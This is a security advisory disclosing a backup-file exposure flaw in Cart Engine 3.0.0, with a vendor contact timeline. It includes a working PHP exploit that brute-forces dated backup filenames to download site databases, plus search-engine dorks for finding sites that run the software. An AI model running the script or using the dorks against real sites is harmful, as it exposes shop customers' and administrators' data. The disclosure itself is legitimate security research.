Cart Engine 3.0.0 Database Backup Disclosure Exploit

2014-03-25T00:00:00
ID ZSL-2014-5180
Type zeroscience
Reporter Gjoko Krstic
Modified 2014-03-25T00:00:00

Description

Title: Cart Engine 3.0.0 Database Backup Disclosure Exploit
Advisory ID: ZSL-2014-5180
Type: Local/Remote
Impact: Exposure of Sensitive Information
Risk: (3/5)
Release Date: 25.03.2014

Summary

Open your own online shop today with Cart Engine! The small, yet powerful and don't forget, FREE shopping cart based on PHP & MySQL. Unique features of Cart Engine include: CMS engine based on our qEngine, product options, custom fields, digital products, search engine friendly URL, user friendly administration control panel, easy to use custom fields, module expandable, sub products, unsurpassed flexibility...and more!

Description

Cart Engine stores database backups using the Backup DB tool with a predictable file name inside the '/admin/backup' directory as 'Full Backup YYYYMMDD.sql' or 'Full Backup YYYYMMDD.gz', which can be exploited to disclose sensitive information by downloading the file. The '/admin/backup' is also vulnerable to directory listing by default.

Vendor

C97net - <http://www.c97.net>

Affected Version

3.0.0

Tested On

Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14

Vendor Status

[07.03.2014] Vulnerability discovered.
[10.03.2014] Vendor contacted.
[11.03.2014] Vendor responds asking more details.
[11.03.2014] Sent details to the vendor.
[12.03.2014] Working with the vendor.
[13.03.2014] Vendor working on a new version.
[21.03.2014] Asked vendor for status update.
[21.03.2014] Vendor promises patch release in April.
[25.03.2014] Public security advisory released.

PoC

cartengine_dbd.php

Credits

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk>

References

[1] <http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5176.php>
[2] <http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5172.php>
[3] <http://packetstormsecurity.com/files/125877>
[4] <http://www.exploit-db.com/exploits/32505>
[5] <http://cxsecurity.com/issue/WLB-2014030205>
[6] <http://www.c97.net/news/security-issues-with-qengine-family.php>
[7] <http://osvdb.org/show/osvdb/105042>
[8] <https://secunia.com/advisories/57557>

Changelog

[25.03.2014] - Initial release
[26.03.2014] - Added reference [3], [4] and [5]
[27.03.2014] - Added reference [6]
[31.03.2014] - Added reference [7]
[14.04.2014] - Added reference [8]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: lab@zeroscience.mk

                                        
                                            &lt;?php

/*

Cart Engine 3.0.0 Database Backup Disclosure Exploit


Vendor: C97net
Product web page: http://www.c97.net
Affected version: 3.0.0

Summary: Open your own online shop today with Cart Engine! The
small, yet powerful and don't forget, FREE shopping cart based
on PHP & MySQL. Unique features of Cart Engine include: CMS engine
based on our qEngine, product options, custom fields, digital
products, search engine friendly URL, user friendly administration
control panel, easy to use custom fields, module expandable, sub
products, unsurpassed flexibility...and more!

Desc: Cart Engine stores database backups using the Backup DB tool
with a predictable file name inside the '/admin/backup' directory
as 'Full Backup YYYYMMDD.sql' or 'Full Backup YYYYMMDD.gz', which
can be exploited to disclose sensitive information by downloading
the file. The '/admin/backup' is also vulnerable to directory listing
by default.


Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5180
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5180.php


Dork #1: intitle:powered by c97.net
Dork #2: intitle:powered by qEngine
Dork #3: intitle:powered by Kemana.c97.net
Dork #4: intitle:powered by Cart2.c97.net



07.03.2014

*/


error_reporting(0);

function status($done, $total, $size=20)
{
	static $start_time;
 	if($done &gt; $total) return;
 	if(empty($start_time)) $start_time=time();

	$now = time();
 	$perc=(double)($done/$total);
 	$bar=floor($perc*$size);

 	$disp=number_format($perc*100, 0);
 
	$status_bar="\r $disp% [";
	$status_bar.=str_repeat("=", $bar);
	if($bar&lt;$size)
	{
		$status_bar.="&gt;";
		$status_bar.=str_repeat(" ", $size-$bar);
	} else
		{
			$status_bar.="=";
		}
 	
 	$status_bar.="] $done/$total";
 
	$rate = ($now-$start_time)/$done;
	$left = $total - $done;
	$eta = round($rate * $left, 2);
	$elapsed = $now - $start_time;
 
	$status_bar.= " remaining: ".number_format($eta)." sec. elapsed: ".number_format($elapsed)." sec.";
 
	echo "$status_bar ";
	flush();
 
	if($done == $total)
	{
		echo "\n";
	}
}

print "
 @---------------------------------------------------------------@
 |                                                               |
 |      Cart Engine 3.0.0 Database Backup Disclosure Exploit     |
 |                                                               |
 |                                                               |
 |              Copyleft (c) 2014, Zero Science Lab              |
 |                                                               |
 |                   Advisory ID: ZSL-2014-5180                  |
 |                       www.zeroscience.mk                      |
 |                                                               |
 @---------------------------------------------------------------@
	  ";

if ($argc &lt; 4)
{
    print "\n\n [+] Usage: php $argv[0] &lt;host&gt; &lt;port&gt; &lt;dirname&gt;\n\n";
    print " [+] Example: php $argv[0] zeroscience.mk 80 hercules\n\n";
    die();
}

$godina_array = array('2014','2013','2012','2011','2010');

$mesec_array = array('12','11','10','09',
					 '08','07','06','05',
					 '04','03','02','01');

$dn_array = array('31','30','29','28','27','26',
				  '25','24','23','22','21','20',
	  			  '19','18','17','16','15','14',
				  '13','12','11','10','09','08',
	  			  '07','06','05','04','03','02',
	  			  '01');

$host = $argv[1];
$port = intval($argv[2]);
$path = $argv[3];
$dbnm = "Full%20Backup%20";

$alert1 = "\033[1;31m";
$alert2 = "\033[0;37m";
$alert3 = "\033[1;32m";

echo "\n [*] Running checks:\n\n";

foreach($godina_array as $godina)
{
	foreach($mesec_array as $mesec)
	{
		$x++;
		status($x, 58);
		foreach($dn_array as $dn)
		{
			$ext=".gz";
			if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext))
			{
				echo "\n";
				echo $alert1;
				print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";
				echo $alert2;
				print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n";
				print " Full URL:\x20";
				echo $alert3;
				die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n");
			}
			$ext=".sql";
			if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext))
			{
				echo "\n";
				echo $alert1;
				print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";
				echo $alert2;
				print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n";
				print " Full URL:\x20";
				echo $alert3;
				die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n");
			}
		}
	}
}

print "\n\n [*] Zero findings!\n\n\n";

?&gt;